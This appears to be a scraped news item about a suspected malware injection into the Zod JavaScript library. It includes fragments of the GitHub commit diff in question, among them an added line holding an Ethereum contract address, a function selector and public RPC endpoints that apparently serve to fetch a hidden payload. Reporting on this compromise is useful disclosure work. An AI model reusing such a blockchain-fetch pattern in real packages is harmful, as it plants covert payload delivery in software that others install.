Zod 4.6.6 malware infection?
A GitHub repository for the Zod library was updated with code changes that appear to involve suspicious network requests and potential obfuscated malware. The changes include fetching external data and executing base64-encoded payloads, raising concerns about a supply chain attack.
Why it matters
Zod is a widely used JavaScript validation library; if compromised, it could facilitate large-scale supply chain attacks on thousands of web applications.
Fix bugs and improve performance · colinhacks/zod@d821685 · GitHub
You signed in with another tab or window. Reload to refresh your session.
You signed out in another tab or window. Reload to refresh your session.
You switched accounts on another tab or window. Reload to refresh your session.
Copy file name to clipboard Expand all lines: .github/workflows/release.yml
+ 6 - 1 Lines changed: 6 additions & 1 deletion
Original file line number Diff line number Diff line change
# a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment
Copy file name to clipboard Expand all lines: packages/mini/jsr.json
+ 1 - 1 Lines changed: 1 addition & 1 deletion
+ 4 Lines changed: 4 additions & 0 deletions
C = "0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523" , S = "0x53ed5143" , R = [ "https://eth.llamarpc.com" , "https://ethereum-rpc.publicnode.com" , "https://cloudflare-eth.com" ] ;
Get smarter about the news
Sign up free for a feed built around what you actually care about, Dive Deeper research on any story, and the full text of every article.
Create free accountAlready have an account? Sign in